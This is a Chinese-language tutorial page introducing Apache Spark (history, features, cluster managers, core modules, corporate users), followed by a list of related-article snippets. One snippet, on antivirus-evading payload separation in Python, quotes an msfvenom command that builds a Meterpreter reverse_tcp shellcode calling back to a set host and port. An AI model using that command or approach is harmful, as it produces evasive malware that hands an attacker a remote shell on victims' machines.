【Spark】Spark基础教程知识点

 

第 1 部分 Spark 基础

Spark 概述

本章介绍 Spark 的一些基本认识.

 

Spark官方地址 

一:什么是 Spark

Spark 是一个快速(基于内存), 通用, 可扩展的集群计算引擎

并且 Spark 目前已经成为 Apache 最活跃的开源项目, 有超过 1000 个活跃的贡献者.

历史

2009 年,Spark 诞生于 UC Berkeley(加州大学伯克利分校, CAL) 的 AMP 实验室, 项目采用 Scala 编程语言编写.

2010 年, Spark 正式对外开源

2013 年 6 月, 进入 Apache 孵化器

2014 年, 成为 Apache 的顶级项目.

目前最新的版本是3.0.1

 

二:Spark 特点

1:快速

与 Hadoop 的 MapReduce 相比, Spark 基于内存的运算是 MapReduce 的 100 倍.基于硬盘的运算也要快 10 倍以上.

Spark 实现了高效的 DAG 执行引擎, 可以通过基于内存来高效处理数据流

2: 易用

Spark 支持 Scala, Java, Python, R 和 SQL 脚本, 并提供了超过 80 种高性能的算法, 非常容易创建并行 App

而且 Spark 支持交互式的 Python 和 Scala 的 shell, 这意味着可以非常方便地在这些 shell 中使用 Spark 集群来验证解决问题的方法, 而不是像以前一样 需要打包, 上传集群, 验证等. 这对于原型开发非常重要.

 

​​​​​​​3:通用

Spark 结合了SQL, Streaming和复杂分析.

Spark 提供了大量的类库, 包括 SQL 和 DataFrames, 机器学习(MLlib), 图计算(GraphicX), 实时流处理(Spark Streaming) .

可以把这些类库无缝的柔和在一个 App 中.

减少了开发和维护的人力成本以及部署平台的物力成本.

 

​​​​​​​4:可融合性

Spark 可以非常方便的与其他开源产品进行融合.

比如, Spark 可以使用 Hadoop 的 YARN 和 Appache Mesos 作为它的资源管理和调度器, 并且可以处理所有 Hadoop 支持的数据, 包括 HDFS, HBase等.

​​​​​​​三:Spark 内置模块介绍

 

1:集群管理器(Cluster Manager)

Spark 设计为可以高效地在一个计算节点到数千个计算节点之间伸缩计算。

为了实现这样的要求,同时获得最大灵活性,Spark 支持在各种集群管理器(Cluster Manager)上运行,目前 Spark 支持 3 种集群管理器:

1:Hadoop YARN(在国内使用最广泛)

2:Apache Mesos(国内使用较少, 国外使用较多)

3:Standalone(Spark 自带的资源调度器, 需要在集群中的每台节点上配置 Spark)

 

​​​​​​​2:SparkCore

实现了 Spark 的基本功能,包含任务调度、内存管理、错误恢复、与存储系统交互等模块。SparkCore 中还包含了对弹性分布式数据集(Resilient Distributed DataSet,简称RDD)的API定义。

 

​​​​​​​3: Spark SQL

是 Spark 用来操作结构化数据的程序包。通过SparkSql,我们可以使用 SQL或者Apache Hive 版本的 SQL 方言(HQL)来查询数据。Spark SQL 支持多种数据源,比如 Hive 表、Parquet 以及 JSON 等。

 

​​​​​​​4: Spark Streaming

是 Spark 提供的对实时数据进行流式计算的组件。提供了用来操作数据流的 API,并且与 Spark Core 中的 RDD API 高度对应。

 

​​​​​​​5:Spark MLlib

提供常见的机器学习 (ML) 功能的程序库。包括分类、回归、聚类、协同过滤等,还提供了模型评估、数据导入等额外的支持功能。

 

Spark 得到了众多大数据公司的支持,这些公司包括 Hortonworks、IBM、Intel、Cloudera、MapR、Pivotal、百度、阿里、腾讯、京东、携程、优酷土豆。

当前百度的 Spark 已应用于大搜索、直达号、百度大数据等业务;

阿里利用 GraphX 构建了大规模的图计算和图挖掘系统,实现了很多生产系统的推荐算法;

腾讯Spark集群达到 8000 台的规模,是当前已知的世界上最大的 Spark 集群。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/271261.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关系数据库理论:数据库的六大范式知识笔记

1、数据库范式的作用数据库范式主要是为解决关系数据库中数据冗余、更新异常、插入异常、删除异常问题而引入的设计理念。简单来说,数据库范式可以避免数据冗余,减少数据库的存储空间,并且减轻维护数据完整性的成本。是关系数据库核心的技术之…

python 生成payload_利用Python进行Payload分离免杀

缺点:编译成exe以后体积过大实现:msf生成shellcode代码:msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.3.60 LPORT3333 -f c将payload给copy下来,去除引号。\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\…

ping不通docker_初识docker

前言大家好,我是jack xu,本篇是我在今日头条的首秀,我的英文名来源于jack ma,马云,所以大家也可以叫我徐云,即我希望像马云一样富有、成功,另外我名字中的杰与jack也是谐音关系。今天给大家带来…

SQL语言基础:数据库语言概念介绍

1、概念介绍SQL(Structured Query Lanauage)结构化查询语言是关系数据库中最普遍使用的语言。主要包括查询、数据操纵、数据定义、数据控制功能,是一种通用的、功能强大的关系数据库的标准语言。2、SQL语言分类2.1 数据库定义语言&#xff08…

configuration 命名空间_kubernetes30:monitoring命名空间处于Terminating状态的处理方法...

删除monitoring命名空间时总也无法彻底删除,发现monitoring处于Terminating状态,故有此文。kubectl get namespaces -o wide解决:尝试使用force delete。kubectl delete namespace monitoring --force --grace-period0发现强制删除没有成功。…

SQL语言基础:SQL语言概念知识笔记

1、SQL标准ANSI(美国国家标准机构)SQL对ANSI SQL进行修改后在1992年采用的标准SQL-92或SQL2SQL-99或SQL3标准从SQL2扩充而来,增加了对象关系特征和许多其他新的功能。最近的标准版本是SQL:20032、SQL的特点综合统一:SQ…

原型(Prototype)的场景是不支持循环依赖的

原型(Prototype)的场景是不支持循环依赖的,通常会走到AbstractBeanFactory类中下面的判断,抛出异常。

网络工程中,VLAN到底有什么作用?

什么是VLAN呢?VLAN(Virtual Local Area Network)即虚拟局域网,是将一个物理的LAN在逻辑上划分成多个广播域的通信技术。在IEEE802.1Internetworking委员会结束了对VLAN初期标准的修订工作的时候。新出台的标准进一步完善了VLAN的体…

hrjava项目原型html_Mockplus for Mac(原型设计工具)

Mockplus for Mac是Mac平台上一款简单、快速的原型设计工具,无需任何编程,不需要任何编程基础知识,帮你快速使用Mockplus设计图形。Mockplus封装了近200个组件,提供3000个以上的图标素材。做图时,只需要把这些组件放入…

Leetcode 给定一个数组,给定一个数字。返回数组中可以相加得到指定数字的两个索引

问题内容是:给定一个数组,给定一个数字。返回数组中可以相加得到指定数字的两个索引。 比如:给定nums [2, 7, 11, 15], target 9 那么要返回 [0, 1],因为2 7 9 这道题的优解是,一次遍历HashMap: 先去…

SQL语言基础:常用的数据查询语句

1、创建表语法格式&#xff1a;creat table <表名> (<,列名><数据类型>[列级完整性约束条件]<,列名><数据类型>[列级完整性约束条件]...[,<表级完整性约束条件>]);列级完整性约束条件&#xff1a;主键、外键 、唯一 unique、检查 、默认值…

两个不同网段的局域网如何互通_不同网段之间如何通信?

计算机之前是如何实现互相通信的呢&#xff1f;正文首先&#xff0c;计算机之间通信人为设定一个准则&#xff0c;这个准则是什么呢&#xff1f;如果两台计算机在一个相同网段&#xff0c;不需要辅助设备(网关)的帮助&#xff0c;可以直接通信。如果两台计算机在不同网段&#…

SpringCloud Gateway的组成结构

SpringCloud Gateway结构 SpringCloud Gateway的底层基于Netty&#xff0c;主要组成有Predicates&#xff08;谓词或者断言&#xff09;、Route&#xff08;路由&#xff09;、Filter&#xff08;过滤器&#xff09; 思维导图----------SpringCloud Gateway的组成&#xff1a; …

java resource放入的文件没有生成在classes中_快速部署版@开源在线考试系统一键生成各种题型试卷且实时判卷...

首先声明此项目来自开源网&#xff0c;小编也是爱好者&#xff1b;阅读本文之前相信已经阅读过【开源在线考试系统一键生成各种题型试卷且可以实时判卷】开源在线考试系统一键生成各种题型试卷且可以实时判卷本文分享快速部署版jar包&#xff0c;原项目前后台是单独项目&#x…

SQL语言基础:SQL中的数据完整性约束用法

前言数据库的完整性是指数据库正确性和相容性&#xff0c;是防止合法用户使用数据库时向数据库加入不符合语义的数据&#xff0c;从而保证了数据库中的数据是正确的&#xff0c;避免非法的更新操作。1、主键约束1.1 完整性约束条件完整性约束条件作用的对象有关系、元组、列三种…

SpringCloud Gateway的工作方式

SpringCloud Gateway工作方式 从官网的图来看&#xff0c;并不是特别复杂&#xff0c;首先客户端请求都会先经过Gateway Handler Mapping&#xff0c;匹配上就通过Gateway Web Handler转给过滤器处理&#xff0c;过滤器分为PreFilter&#xff08;前置过滤器&#xff09;、PostF…

后端:414 Request-URI Too Large解决方案

目录 一、get请求改为Post请求 二、调整前端请求参数的逻辑 三、服务器配置调整 3.1 Java项目 3.2 PHP项目&#xff1a; 3.3 Net项目 3.4 nginx配置文件修改内容&#xff1a; Web项目接口请求会出现414 Request-URI Too Large这个错误 下面给大家分享一下相关解决办法&#xf…

面向对象和面向过程_程序员给你解释:面向对象和面向过程的区别,到底是怎么回事?...

今天下午在一个组的项目回顾会议上&#xff0c;这个同事讲了自己用DDD思想对三个模块的重构。把之前在Service层的一些业务逻辑下沉到了领域层里&#xff0c;由之而引起的讨论。部门经理&#xff1a;“其实你的业务逻辑总体并没有少&#xff0c;只是把边界重新划分了一下。”一…

SQL语言基础:SQL授权相关知识笔记​

1、数据控制数据控制是控制对用户存取的权力&#xff0c;由DBA来决定。DBMS数据控制与功能&#xff1a;1、通过GRANT和REVOKE将授权通知系统&#xff0c;并存入数据字典。2、当用户发起请求时&#xff0c;根据授权情况检查是否执行操作请求。SQL标准包括 delete、insert、selec…

JVM的位置

对于JVM的位置&#xff1a; JVM是运行在操作系统之上的,它与硬件没有直接的交互JVM是运行在操作系统之上的&#xff0c;与硬件没有直接的交互&#xff0c;但是可以调用底层的硬件&#xff0c;用JIN &#xff08;Java本地接口调用底层硬件接口&#xff0c;了解下就好&#xff0…